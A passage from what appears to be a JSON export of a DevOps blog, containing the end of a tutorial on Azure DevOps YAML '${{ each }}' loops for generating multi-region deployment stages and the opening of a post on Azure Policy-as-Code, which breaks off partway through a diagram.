style=\"color:#ae81ff\"\u003esc-prod-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003estaging_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003estaging_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Building application\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Build\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003epublish\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.ArtifactStagingDirectory)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eartifact\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-matrix.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironments\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.environments }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"step-3-verify-the-expanded-yaml\"\u003eStep 3: Verify the Expanded YAML\u003c/h3\u003e\n\u003cp\u003eOpen the pipeline in Azure DevOps, select \u003cstrong\u003eRun pipeline\u003c/strong\u003e, then choose \u003cstrong\u003eDownload full YAML\u003c/strong\u003e (or use the CLI: \u003ccode\u003eaz pipelines run --dry-run\u003c/code\u003e). The Expanded YAML should show six deployment stages named with the tier-region underscore pattern.\u003c/p\u003e\n\u003cp\u003eConfirm:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eEach stage\u0026rsquo;s \u003ccode\u003eenvironment:\u003c/code\u003e uses hyphen notation (\u003ccode\u003eprod-eastus\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003eEach stage\u0026rsquo;s \u003ccode\u003estage:\u003c/code\u003e key uses underscore notation (\u003ccode\u003eprod_eastus\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003eProd stages include the blue-green deploy step; dev and staging stages include rolling only\u003c/li\u003e\n\u003cli\u003eProd stages list both staging regions in \u003ccode\u003edependsOn:\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"step-4-add-a-third-region\"\u003eStep 4: Add a third region\u003c/h3\u003e\n\u003cp\u003eAdd three entries to the \u003ccode\u003eenvironments\u003c/code\u003e array — one per tier for \u003ccode\u003eapsouth\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-apsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-apsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003edev_apsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-apsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003estaging_apsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003estaging_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003estaging_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRe-run the pipeline. The Expanded YAML now shows nine deployment stages. The template file has not changed.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices-and-optimization\"\u003eBest Practices and Optimization\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eUse compound identifiers for generated names.\u003c/strong\u003e Single-property stage names (\u003ccode\u003eDeploy_${{ env.region }}\u003c/code\u003e) collide when two items share the same property value. Compose names from at least two properties (\u003ccode\u003e${{ env.tier }}_${{ env.region }}\u003c/code\u003e) to guarantee uniqueness as the array grows.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eReplace three-level nesting with a pre-computed flat array.\u003c/strong\u003e A nested loop over 5 × 5 × 5 items generates 125 stages — within the 10 MB expanded YAML limit, but prone to parse timeouts. A single loop over a 125-item flat array is faster to expand and easier to filter.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eLeverage \u003ccode\u003e${{ replace() }}\u003c/code\u003e for sanitization.\u003c/strong\u003e Stage IDs only accept \u003ccode\u003e[A-Za-z0-9_]\u003c/code\u003e. Use \u003ccode\u003e${{ replace(item.name, '-', '_') }}\u003c/code\u003e inside your template to prevent parse errors when callers pass names with hyphens.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePlace inline \u003ccode\u003e${{ if }}\u003c/code\u003e filters in the template, not the caller.\u003c/strong\u003e The caller provides the full set of environments; the template decides which ones generate stages. This keeps filter logic centralized and prevents callers from submitting incorrect pre-filtered arrays.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDocument the expected object shape in the \u003ccode\u003edefault:\u003c/code\u003e block.\u003c/strong\u003e YAML parameters have no schema enforcement. A missing property resolves to empty string silently. The \u003ccode\u003edefault:\u003c/code\u003e block is the authoritative example of the required object shape; callers should copy and modify it.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMinimize template file calls inside loops.\u003c/strong\u003e Each \u003ccode\u003etemplate:\u003c/code\u003e reference inside a loop body triggers one repository fetch per iteration. A loop over 50 environments that calls a three-file template chain triggers 150 repository fetches during parse. Consolidate logic into the loop body to reduce parse-time overhead.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNever use \u003ccode\u003e$(var)\u003c/code\u003e or \u003ccode\u003e$[var]\u003c/code\u003e inside \u003ccode\u003e${{ each }}\u003c/code\u003e.\u003c/strong\u003e Runtime variables do not exist during template expansion. Referencing them inside a loop body produces empty string, not an error — the pipeline runs but generates stages with missing values.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting-common-issues\"\u003eTroubleshooting Common Issues\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDuplicate identifier parse error on generated stages\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eTwo items in the array produce the same rendered stage name after property substitution. Add a second property to the stage name: \u003ccode\u003e${{ item.tier }}_${{ item.region }}\u003c/code\u003e. Add a comment in the \u003ccode\u003edefault:\u003c/code\u003e block warning callers that tier-region combinations must be unique across the array.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eThe pipeline has exceeded the maximum number of jobs\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe loop generates more than 256 jobs per stage or more than 1,000 total jobs. Count the expected output: outer items × inner items = generated stages or jobs. If the count approaches 256, flatten nested loops into a pre-computed flat array and use an inline \u003ccode\u003e${{ if }}\u003c/code\u003e to filter out combinations not needed for the current run.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eA property accessed via \u003ccode\u003e${{ item.prop }}\u003c/code\u003e resolves to empty string for some iterations\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe property is absent from those items — YAML object arrays do not enforce a schema. Use \u003ccode\u003e${{ coalesce(item.prop, 'defaultValue') }}\u003c/code\u003e for optional properties. For required properties, add a validation step that fails the pipeline when the property is missing:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ replace(env.tier, \u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;) }}_${{ replace(env.region, \u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eValidate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Evaluated at compile-time; if env.serviceConnection is missing, the script is inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(env.serviceConnection, \u0026#39;\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            echo \u0026#34;##vso[task.logissue type=error]Missing required property: serviceConnection on ${{ env.tier }}_${{ env.region }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e            exit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Validate required properties\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStage name contains invalid characters — parse error\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eA property value used in the stage name contains a hyphen, dot, space, or other character outside \u003ccode\u003e[A-Za-z0-9_]\u003c/code\u003e. Stage IDs also cannot start with a number. Use \u003ccode\u003e${{ replace(env.name, '-', '_') }}\u003c/code\u003e to sanitize the string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eInner loop binding name returns empty string — outer binding name was reused\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe inner loop binding name shadows the outer loop binding name. Use distinct, semantically meaningful names: \u003ccode\u003e${{ each tier in parameters.tiers }}\u003c/code\u003e for the outer, \u003ccode\u003e${{ each region in tier.regions }}\u003c/code\u003e for the inner. Never reuse a binding name across nested levels.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMapping iteration order is inconsistent between runs\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eYAML mapping key order is implementation-defined; Azure DevOps sorts mapping keys alphabetically. If iteration order matters (e.g., for a stage dependency chain), switch from a mapping to a sequence of objects with an explicit \u003ccode\u003edependsOn:\u003c/code\u003e property on each item.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e has two forms: array iteration binds to the element; mapping iteration binds to \u003ccode\u003epair.key\u003c/code\u003e and \u003ccode\u003epair.value\u003c/code\u003e. Using the wrong form produces silent empty bindings, not an error.\u003c/li\u003e\n\u003cli\u003eObject array iteration is the most flexible pattern — each item carries multiple properties accessible via \u003ccode\u003eitem.propertyName\u003c/code\u003e, enabling multi-dimensional stage generation from a single compact parameter.\u003c/li\u003e\n\u003cli\u003eYou can sanitize Stage IDs using the \u003ccode\u003e${{ replace() }}\u003c/code\u003e function at compile-time.\u003c/li\u003e\n\u003cli\u003eNested \u003ccode\u003e${{ each }}\u003c/code\u003e is valid to two levels. At three levels, calculate expected output counts against the 256-job and 1,000-job limits before committing.\u003c/li\u003e\n\u003cli\u003eInline \u003ccode\u003e${{ if }}\u003c/code\u003e filtering inside a loop body moves filter logic into the template and away from the caller — the caller defines the full set of environments; the template decides which ones generate stages.\u003c/li\u003e\n\u003cli\u003ePre-computed flat arrays beat deep nesting in every dimension: easier to read, easier to filter, faster to parse, and immune to the expansion limit.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead the Dynamic Matrix Strategies article in this series to combine \u003ccode\u003e${{ each }}\u003c/code\u003e with pattern that pairs \u003ccode\u003e${{ each job in parameters.jobs }}\u003c/code\u003e with per-item metadata to drive environment routing and conditional step injection\u003c/li\u003e\n\u003cli\u003eAudit existing \u003ccode\u003e${{ each }}\u003c/code\u003e loops in your templates and verify that generated stage names cannot collide when new items are added to the parameter array\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions?view=azure-devops#template-expressions\"\u003eMicrosoft Learn: Template expressions reference — ${{ each }}\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/template-parameters?view=azure-devops#object-parameter-type\"\u003eMicrosoft Learn: Template parameters — object type\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/limits?view=azure-devops\"\u003eMicrosoft Learn: Pipeline limits and constraints\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops#passing-metadata-to-templates\"\u003eMicrosoft Learn: Passing metadata to templates (templateContext)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/azure-pipelines-yaml\"\u003eAzure DevOps YAML schema reference\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A vast, futuristic data center aisle with symmetrical rows of server racks. The cooling fans cast circular, repeating light patterns on the polished floor. Glowing blue fiber optic cables are bundled and branch out like a fractal tree. Wide landscape format, 16:9 aspect ratio. Professional, high-end technical photography vibe.\n\n2. **3D Abstract / Isometric:** Isometric view of a complex, multi-layered data structure. Translucent glass blocks containing smaller glowing spheres are stacked in a grid. Thin, glowing lines connect the blocks, illustrating a nested hierarchy. Soft, professional lighting with a blue and purple color palette. Wide landscape format, 16:9 aspect ratio. Clean, modern 3D aesthetic.\n\n3. **Minimalist Vector / Flat:** Clean, flat vector illustration of nested geometric shapes. Concentric rectangles and circles in varying shades of blue and slate gray. Sharp white lines show paths of logic flowing from the center outward, branching at each level. No text or UI elements. Wide landscape format, 16:9 aspect ratio. Professional and modern.\n\n4. **Cyber-Industrial / Data Flow:** Dark, high-contrast digital environment. Bright cyan data streams flow through a series of geometric nodes, splitting and iterating into complex, repeating patterns. The background is a subtle, dark grid. Futuristic, data-driven aesthetic. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft 3D clay-like blocks representing code modules. The blocks are rounded and arranged in a nested, recursive pattern. Soft, diffused lighting with gentle shadows. A palette of pastel blues, grays, and whites. Wide landscape format, 16:9 aspect ratio. Professional, approachable tech vibe.\n\n6. **Macro Tech Detail:** Extreme close-up macro photography of a high-performance microprocessor. Focus on the microscopic, intricate patterns of the silicon pathways. The gold and copper traces create a complex, repeating maze-like structure representing nested logic. Wide landscape format, 16:9 aspect ratio. Technical and detailed.\n--\u003e\n","description":"Go beyond simple string arrays in Azure DevOps YAML. Master ${{ each }} over nested objects, key-value maps, and filtered iterations to generate dynamic stages.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/advanced-each-looping-iterating-complex-nested-objects/","title":"Advanced each Looping: Iterating Complex Nested Objects"},{"content":"\u003cp\u003eA policy assigned at the wrong scope is benign. A policy with a typo in the condition silently fails to enforce anything. A \u003ccode\u003eDeployIfNotExists\u003c/code\u003e (DINE) policy without the right managed identity permissions creates remediation tasks that queue forever without executing. Azure Policy is the most capable governance tool in Azure — and the one most likely to produce a false sense of security when misconfigured.\u003c/p\u003e\n\u003cp\u003eOrganizations often assign a policy and assume the environment is compliant. However, without moving from \u003ccode\u003eAudit\u003c/code\u003e to \u003ccode\u003eDeny\u003c/code\u003e and automating remediation, gaps remain open. This guide covers the full lifecycle of Policy-as-Code.\u003c/p\u003e\n\u003cp\u003eBy the end, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImplement the three-resource model: Definitions, Initiatives, and Assignments.\u003c/li\u003e\n\u003cli\u003eWrite custom policy definitions in JSON and deploy them via Terraform and Bicep.\u003c/li\u003e\n\u003cli\u003eAssign regulatory benchmarks (CIS, NIST, MCSB) at the management group level.\u003c/li\u003e\n\u003cli\u003eConfigure DINE policies to automate resource configuration.\u003c/li\u003e\n\u003cli\u003eManage exceptions through time-bound exemptions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 4 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-three-resource-model\"\u003eThe Three-Resource Model\u003c/h2\u003e\n\u003cp\u003eAzure Policy separates its governance model into three distinct resources:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy Definition\u003c/strong\u003e: The rule itself — a JSON document specifying the \u003ccode\u003eif\u003c/code\u003e condition and \u003ccode\u003ethen\u003c/code\u003e effect.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy Initiative\u003c/strong\u003e: A group of definitions (e.g., the CIS Benchmark). Use these to simplify management at scale.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy Assignment\u003c/strong\u003e: The application of a definition or initiative to a scope (Management Group or Subscription). This triggers enforcement.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"exclusions-vs-exemptions\"\u003eExclusions vs. Exemptions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eExclusions\u003c/strong\u003e: structural carve-outs (e.g., excluding the Sandbox MG from production \u003ccode\u003eDeny\u003c/code\u003e rules). No evaluation occurs.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eExemptions\u003c/strong\u003e: Precise, time-bound waivers for specific resources. The resource shows as \u0026ldquo;Exempt\u0026rdquo; in compliance reports.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 312 345\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 280,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,48 L 128,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,48 L 264,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,64 L 152,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,80 L 72,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,80 L 128,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,80 L 208,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,80 L 264,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,96 L 64,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,96 L 200,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 280,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,160 L 72,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,160 L 208,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,160 L 280,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,208 L 128,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,208 L 264,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,224 L 152,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,240 L 128,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,240 L 208,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,240 L 264,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,272 L 128,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,288 L 208,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,304 L 128,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,320 L 280,320' fill='none' 